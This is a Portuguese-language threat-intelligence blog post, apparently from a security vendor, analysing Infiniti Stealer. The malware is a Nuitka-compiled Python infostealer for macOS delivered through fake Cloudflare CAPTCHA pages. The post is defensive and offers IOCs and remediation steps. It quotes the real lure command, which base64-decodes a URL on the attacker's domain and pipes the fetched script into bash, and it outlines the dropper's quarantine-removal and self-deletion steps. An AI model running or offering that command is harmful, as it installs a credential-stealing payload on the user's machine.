Infiniti Stealer: um novo programa de roubo de informações para macOS que utiliza o ClickFix e Python/Nuitka

| 26 de março de 2026
Logótipo da Apple sobre um fundo com correntes

Um infostealer para macOS até agora não documentado surgiu durante a nossa atividade de deteção de ameaças de rotina. Inicialmente, identificámo-lo como NukeChain, mas pouco antes da publicação, o painel de controlo do malware tornou-se visível ao público, revelando o seu nome verdadeiro: Infiniti Stealer.

Este malware foi concebido para roubar dados confidenciais de computadores Mac. Propaga-se através de uma página CAPTCHA falsa que induz os utilizadores a executarem eles próprios um comando: uma técnica conhecida como ClickFix. Em vez de explorar uma falha de segurança, baseia-se na engenharia social.

A carga útil final está escrita em Python e compilada com o Nuitka, resultando num ficheiro binário nativo do macOS. Isso torna-a mais difícil de analisar e detetar do que o malware típico baseado em Python.

Tanto quanto sabemos, esta é a primeira campanha documentada no macOS que combina a distribuição do ClickFix com um programa de roubo de dados em Python compilado com o Nuitka.

ClickFix: engenharia social em vez de vulnerabilidades

O ClickFix não se baseia em vulnerabilidades de software. Em vez disso, baseia-se em convencer o utilizador a executar ele próprio um comando.

Uma página de verificação falsa instrui o visitante a abrir o Terminal, colar um comando e premir a tecla Return. Assim que executado, o processo de infeção inicia-se imediatamente. A técnica ganhou popularidade nos Windows , mas está agora a ser adaptada para o macOS, com instruções específicas para a plataforma: Command + Space > abrir o Terminal > colar o comando

Como o utilizador executa o comando diretamente, muitas defesas tradicionais são contornadas. Não há exploração de vulnerabilidades, nem anexos maliciosos, nem downloads automáticos.

Entrega de CAPTCHAs falsos

A infecção começa em update-check[.]com, que apresenta uma réplica convincente de uma página de verificação manual da Cloudflare.

CAPTCHA falso da Cloudflare

A página indica ao utilizador que deve colar um comando de verificação no Terminal:

bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode))

Comando do terminal

Depois de descodificada, a sequência de caracteres traduz-se num URL alojado no mesmo domínio, que devolve o script dropper da primeira fase.

Fase 1: Bash Dropper

A primeira carga útil é um script Bash que utiliza um modelo anteriormente observado em programas de roubo de dados para macOS, como o MacSync (também referido como SHub em investigações anteriores). Isto sugere a utilização de um criador de código partilhado.

As suas funções são simples:

  • Descodificar a carga útil incorporada
  • Grave o ficheiro binário da Fase 2 em /tmp
  • Remova o sinalizador de quarentena utilizando xattr -dr com.apple.quarantine
  • Execute o ficheiro binário através de nohup
  • Passe o servidor de comando e controlo (C2) e o token de autenticação como variáveis de ambiente
  • Apagar o próprio programa e fechar o Terminal através do AppleScript

Fase 2: Nuitka Loader

O ficheiro binário fornecido é um executável Mach-O para Apple Silicon (~8,6 MB), compilado utilizando o modo «onefile» do Nuitka.

O seu cabeçalho contém a assinatura:

4b 41 59 28 b5 2f fd

Isto corresponde a um KAY ( um cabeçalho seguido de um arquivo comprimido com zstd utilizado pelo Nuitka para empacotar aplicações Python.

Ao contrário do PyInstaller, o Nuitka compila o código-fonte Python para C e produz um ficheiro binário nativo, o que aumenta a complexidade da análise estática.

Durante a execução, o carregador descomprime cerca de 35 MB de dados incorporados e inicia a carga útil final.

Fase 3: Carga útil do Python Stealer

A carga útil final, UpdateHelper[.]bin, é um programa de roubo de dados escrito em Python 3.11 e compilado com o Nuitka.

Fase 3

Apesar da compilação, o ficheiro binário expõe milhares de símbolos nomeados, permitindo que a sua estrutura de módulos seja reconstruída durante a análise.

O programa malicioso tem como alvo uma vasta gama de dados confidenciais:

  • Informações de identificação de navegadores baseados no Chromium e do Firefox
  • Entradas do MacKeychain
  • Carteiras de criptomoedas
  • Segredos em texto simples em ficheiros de desenvolvimento, como o .env
  • Capturas de ecrã tiradas durante a execução

Os dados são extraídos através de pedidos HTTP POST.

Antes de iniciar a recolha de dados, o malware verifica se está a ser executado em ambientes de análise conhecidos, incluindo:

  • any.run
  • Joe Sandbox
  • Análise híbrida
  • VMware
  • VirtualBox

Além disso, introduz um atraso de execução aleatório para contornar os sistemas de análise automatizados.

Quando a exfiltração estiver concluída, uma função chamada upload_complete() envia uma notificação do Telegram ao operador e coloca as credenciais capturadas na fila para a quebra de senhas no servidor.

O que fazer se achar que foi afetado

A ideia de que o macOS é um alvo de malware de baixo risco continua a desvanecer-se.

O Infiniti Stealer mostra como técnicas que funcionavam no Windows— como o ClickFix — estão agora a ser adaptadas para atingir Mac .

Além disso, recorre a técnicas mais recentes, como a compilação de Python em aplicações nativas, o que torna o malware mais difícil de detetar e analisar. Se esta abordagem se revelar eficaz, poderemos assistir a mais ataques deste tipo.

Se seguiu instruções como estas ou colou comandos no Terminal a partir de um site, tome medidas imediatamente:

  1. Deixe de utilizar o dispositivo para atividades confidenciais (operações bancárias, e-mail, contas de trabalho).
  2. Altere as suas palavras-passe num dispositivo não infetado, começando pelo e-mail, pela conta bancária e pela Apple ID.
  3. Revogar acesso: terminar as sessões ativas e revogar os tokens da API e as chaves SSH
  4. Verifique se existem ficheiros suspeitos em /tmp e ~/Library/LaunchAgents/
  5. Execute uma Malwarebytes completa Malwarebytes para detetar e remover qualquer malware remanescente.

Lembre-se: não cole comandos de sites na janela do Terminal. Nenhum CAPTCHA legítimo exige isso.

Indicadores de compromisso (IOCs)

TipoValor
Dropper MD5da73e42d1f9746065f061a6e85e28f0c
SHA256 - Fase 31e63be724bf651bb17bcf181d11bacfabef6a6360dcdfda945d6389e80f2b958
Domínio C2update-check[.]com
C2 URLhttps://update-check[.]com/m/7d8df27d95d9
Painel C2Infiniti-stealer[.]com
A magia dos Packers4b 41 59 28 b5 2f fd (KAY + zstd)
Registo de depuração/tmp/.bs_debug.log
Caminho temporário/tmp/.2835b1b5098587a9XXXXXX (prefixo fixo, sufixo aleatório)


Agradecimentos

Agradecemos a Marcelo Rivero pela análise binária.


Não nos limitamos a comunicar as ameaças - eliminamo-las

Os riscos de cibersegurança nunca se devem propagar para além de uma manchete. Mantenha as ameaças longe dos seus dispositivos descarregando Malwarebytes hoje mesmo.

Sobre o autor

Apaixonado por soluções antivírus, Stefan tem estado envolvido em testes de malware e controlo de qualidade de produtos AV desde muito cedo. Como parte da equipa Malwarebytes , Stefan dedica-se a proteger os clientes e a garantir a sua segurança.